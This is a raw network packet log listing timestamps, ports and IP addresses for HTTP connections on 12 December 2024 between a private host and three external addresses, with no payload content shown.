Dec 12, 2024 21:50:13.487828016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.487849951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.488418102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.488497972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.488514900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.488547087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.488571882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.489063978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.489109993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.489232063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.489248037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.489296913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.489747047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.489878893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.489887953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.489895105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.489918947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.489933968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.490495920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.490628004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.490643978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.490689039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.491349936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.491405010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.491452932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.491467953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.491492033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.491511106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.492032051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.492084026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.492193937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.492209911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.492249966 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.492829084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.492882967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.492964983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.492983103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.493007898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.493033886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.493665934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.493711948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.493746042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.493762016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.493913889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.494431973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.494505882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.494533062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.494549990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.494586945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.495059967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.495383024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.495402098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.495461941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.495479107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.495501995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.495524883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.496063948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.496118069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.496196032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.496212006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.496321917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.496896982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.497112989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.497128963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.497128963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.497159004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.497180939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.497782946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.497879028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.497895956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.497930050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.497958899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.498400927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.498657942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.498672962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.498716116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.499238968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.499284983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.499377012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.499394894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.499459028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.499986887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.500102043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.500118017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.500144958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.500161886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.500735044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.500788927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.500830889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.500848055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.500870943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.500894070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.501547098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.501633883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.501652956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.501673937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.501713991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.501749992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.502213001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.502269030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.502320051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.502336025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.502386093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.502947092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.503119946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.503135920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.503143072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.503160954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.503221035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.503719091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.503784895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.503829002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.503845930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.503885031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.504427910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.504539967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.670110941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.670165062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.670182943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.670207977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.670241117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.670322895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.670341969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.671031952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.671098948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.671135902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.671156883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.671195030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.671612978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.671751022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.671766996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.671796083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.671823978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.672290087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.672528982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.672547102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.672580957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.672597885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.673114061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.673160076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.673244953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.673260927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.673299074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.673892975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.674002886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.674021006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.674057007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.674074888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.674602985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.674731016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.674746990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.674781084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.674809933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.675357103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.675491095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.675506115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.675517082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.675534010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.675550938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.676089048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.676203012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.676218987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.676261902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.676280975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.676959038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.677037954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.677052975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.677056074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.677092075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.677813053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.677856922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.678059101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.678076029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.678101063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.678121090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.678369045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.678416014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.678533077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.678549051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.678611040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.678611040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.679161072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.679210901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.679254055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.679270029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.679306030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.679332972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.679917097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.680052996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.680068016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.680098057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.680116892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.680668116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.680768967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.680783033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.680784941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.680808067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.680824041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.681493044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.681556940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.681560040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.681576014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.681611061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.682244062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.682298899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.682337999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.682353973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.682389975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.682949066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.682996988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.683063030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.683078051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.683716059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.683782101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.683845997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.683861971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.683901072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.684433937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.684479952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:16.074351072 CET	49872	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:16.074675083 CET	49895	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:16.194612980 CET	80	49895	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:16.194758892 CET	80	49872	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:16.194891930 CET	49872	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:16.195455074 CET	49895	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:16.221651077 CET	49895	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:16.341625929 CET	80	49895	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:17.541171074 CET	80	49895	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:17.541413069 CET	49895	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:17.547158957 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:17.667098045 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:17.667562962 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:17.667936087 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:17.787623882 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.021450996 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.021534920 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.021634102 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.021672964 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.021680117 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.021716118 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.021846056 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.021881104 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.021888018 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.021920919 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.021934032 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.021969080 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.021974087 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.022005081 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.022005081 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.022042990 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.022593021 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.022628069 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.022643089 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.022667885 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.141916037 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.141953945 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.142013073 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.142090082 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.146226883 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.146311045 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.214251995 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.214318037 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.214363098 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.214402914 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.216526985 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.216574907 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.216620922 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.216661930 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.224488020 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.224534988 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.224539042 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.224575996 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.230942965 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.231003046 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.231023073 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.231061935 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.239226103 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.239279985 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.239339113 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.239383936 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.247695923 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.247747898 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.247792959 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.247833014 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.256098986 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.256153107 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.256314993 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.256356001 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.264653921 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.264718056 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.264743090 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.264786959 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.272931099 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.272986889 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.273175955 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.273224115 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.281413078 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.281466007 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.281569958 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.281611919 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.289033890 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.289093971 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.289160967 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.289205074 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.296852112 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.296909094 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.334129095 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.334198952 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.405991077 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.406065941 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.406083107 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.406126976 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.408371925 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.408416033 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.408417940 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.408476114 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.411794901 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.411843061 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.411914110 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.411957979 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.416444063 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.416487932 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.416548014 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.416589975 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.420983076 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.421045065 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.421104908 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.421159983 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.425709963 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.425753117 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.425774097 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.425817013 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.430177927 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.430233955 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.430248976 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.430294991 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.434818029 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.434874058 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.434885025 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.434931993 CET	49901	80	192.168.2.6	185.215.113.16
